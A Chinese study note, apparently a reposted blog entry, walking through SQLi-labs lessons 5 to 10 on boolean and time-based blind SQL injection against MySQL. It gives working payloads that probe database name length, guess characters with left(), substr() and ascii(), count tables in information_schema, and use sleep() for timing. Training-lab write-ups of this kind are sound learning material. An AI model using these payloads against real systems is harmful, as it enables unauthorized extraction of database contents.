SQL注入学习3
Posted 积木安全笔记
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入学习3相关的知识,希望对你有一定的参考价值。
开始学习盲注
Lession-5
如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码。
如果不存在则是如下
然后我们加入单引号'
也是报错,看到报错信息”1” LIMIT 0,1′,后台代码便是如下:
sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
开始使用盲注尝试,需要用到substr()、length()、ascii()、left()、count()这些sql数据库函数。
ascii(a)将a转换成其ASCII值
ord(a)将a转换成其ASCII值
left(a,b)从左往右截取字符串a的前b个字符
substr(a,b,c)从b位置开始,截取字符串a的c长度
mid(a,b,c)从位置b开始,截取a字符串的c位
首先,先获取数据库的长度用户之后的数据库拆解
我们使用payload 1' and (length(database())=1)--+
发现没有显示 you are in
当我们增加到8 的时候 出现了you are in 证明数据库的长度为8
然后我们先查询数据库名称
payload=1' and (left(database(),1)='a')--+
当到1' and (left(database(),1)='s')--+
可以推测出数据库第一个字符串为s
然后我们依次推出第二个 可以写脚本或者burp
1' and (left(database(),2)='sa')--+
最后得出数据库名称为security
--------------------------------------------------------
接下去 查表明
因为是mysql 可以使用如下语句来判断有几个表
' and 1=(select count(table_name) from information_schema.tables where table_schema='security')--
当 ' and 4=(select count(table_name) from information_schema.tables where table_schema='security')-- 出现了 you are in 可以得出 有4个表
然后就是跑表名称。。。。这里省略
lession 6
和 lession 5 一致 将单引号变成双引号
lession 7 跳过
lession 8 同 6 5
--------------------------------
lession 9
时间盲注
这次我们发现插入单引号和双引号 系统都是返回 You are in。。
查看下代码
可以看到不管语句正确与否都是返回 you are in
考虑时间盲注
常用的判断语句:
'and if(1,sleep(5),1) --+
' and if(1=0,1, sleep(10)) --+
"and if(1=0,1, sleep(10)) --+
)and if(1=0,1, sleep(10)) --+
')and if(1=0,1, sleep(10)) --+
")and if(1=0,1, sleep(10)) --+
我这里使用payload:' and if(1=0,1, sleep(3)) --+
正常的时候系统响应包一秒返回
加入payload' and if(1=0,1, sleep(3)) --+
比正常的情况多返回了3秒
于是初步判断存在时间盲注
开始注入
猜测数据库:
'and If(ascii(substr(database(),1,1))=114,1,sleep(5))--
从数据库名称字符第一位开始取一位 如果 ASCII码为114 则返回1 否则 sleep(5)
可得第一位为 ascii 115 也就是 s
然后第二位'and If(ascii(substr(database(),2,1))=101,1,sleep(5))--
然后跑出数据库名称。
lession 10
和lession9一致,单引号改为双引号
以上是关于SQL注入学习3的主要内容,如果未能解决你的问题,请参考以下文章